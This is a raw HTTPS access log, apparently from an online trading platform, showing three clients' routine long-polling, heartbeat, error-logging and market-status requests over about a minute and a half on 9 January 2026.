[09/Jan/2026:11:34:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929920289 HTTP/1.1" -
[09/Jan/2026:11:34:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929924442 HTTP/1.1" -
[09/Jan/2026:11:34:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929922587 HTTP/1.1" -
[09/Jan/2026:11:34:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929925316 HTTP/1.1" -
[09/Jan/2026:11:34:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:34:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:34:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929929644 HTTP/1.1" -
[09/Jan/2026:11:34:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929927670 HTTP/1.1" -
[09/Jan/2026:11:34:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:34:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929930363 HTTP/1.1" -
[09/Jan/2026:11:34:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:34:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:34:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929932117 HTTP/1.1" -
[09/Jan/2026:11:34:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:34:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929932726 HTTP/1.1" -
[09/Jan/2026:11:34:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929935402 HTTP/1.1" -
[09/Jan/2026:11:34:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929937180 HTTP/1.1" -
[09/Jan/2026:11:34:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929937766 HTTP/1.1" -
[09/Jan/2026:11:34:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929940438 HTTP/1.1" -
[09/Jan/2026:11:34:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929942316 HTTP/1.1" -
[09/Jan/2026:11:34:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929942833 HTTP/1.1" -
[09/Jan/2026:11:34:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929945466 HTTP/1.1" -
[09/Jan/2026:11:34:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929947426 HTTP/1.1" -
[09/Jan/2026:11:34:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929947902 HTTP/1.1" -
[09/Jan/2026:11:34:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929950510 HTTP/1.1" -
[09/Jan/2026:11:34:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929952599 HTTP/1.1" -
[09/Jan/2026:11:34:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929952976 HTTP/1.1" -
[09/Jan/2026:11:34:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929955552 HTTP/1.1" -
[09/Jan/2026:11:34:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:34:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:34:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929957738 HTTP/1.1" -
[09/Jan/2026:11:34:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929958064 HTTP/1.1" -
[09/Jan/2026:11:34:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:34:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929960576 HTTP/1.1" -
[09/Jan/2026:11:34:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:34:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:34:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:34:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:34:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929962878 HTTP/1.1" -
[09/Jan/2026:11:34:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929963181 HTTP/1.1" -
[09/Jan/2026:11:34:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929965597 HTTP/1.1" -
[09/Jan/2026:11:34:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929967926 HTTP/1.1" -
[09/Jan/2026:11:35:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929968212 HTTP/1.1" -
[09/Jan/2026:11:35:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929970638 HTTP/1.1" -
[09/Jan/2026:11:35:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929973096 HTTP/1.1" -
[09/Jan/2026:11:35:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929973279 HTTP/1.1" -
[09/Jan/2026:11:35:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929975672 HTTP/1.1" -
[09/Jan/2026:11:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929978217 HTTP/1.1" -
[09/Jan/2026:11:35:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929978351 HTTP/1.1" -
[09/Jan/2026:11:35:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929980700 HTTP/1.1" -
[09/Jan/2026:11:35:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929983364 HTTP/1.1" -
[09/Jan/2026:11:35:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929983434 HTTP/1.1" -
[09/Jan/2026:11:35:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929985740 HTTP/1.1" -
[09/Jan/2026:11:35:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:35:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:35:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929988530 HTTP/1.1" -
[09/Jan/2026:11:35:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:35:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929988506 HTTP/1.1" -
[09/Jan/2026:11:35:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929990793 HTTP/1.1" -
[09/Jan/2026:11:35:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:35:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:35:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:35:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929993660 HTTP/1.1" -
[09/Jan/2026:11:35:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929993568 HTTP/1.1" -
[09/Jan/2026:11:35:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929995830 HTTP/1.1" -
[09/Jan/2026:11:35:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929998735 HTTP/1.1" -
[09/Jan/2026:11:35:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929998630 HTTP/1.1" -
[09/Jan/2026:11:35:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930000872 HTTP/1.1" -
[09/Jan/2026:11:35:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930003857 HTTP/1.1" -
[09/Jan/2026:11:35:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930003701 HTTP/1.1" -
[09/Jan/2026:11:35:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930005922 HTTP/1.1" -
[09/Jan/2026:11:35:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930008977 HTTP/1.1" -
[09/Jan/2026:11:35:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930008891 HTTP/1.1" -
[09/Jan/2026:11:35:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930010954 HTTP/1.1" -
[09/Jan/2026:11:35:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930014248 HTTP/1.1" -
[09/Jan/2026:11:35:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930013967 HTTP/1.1" -
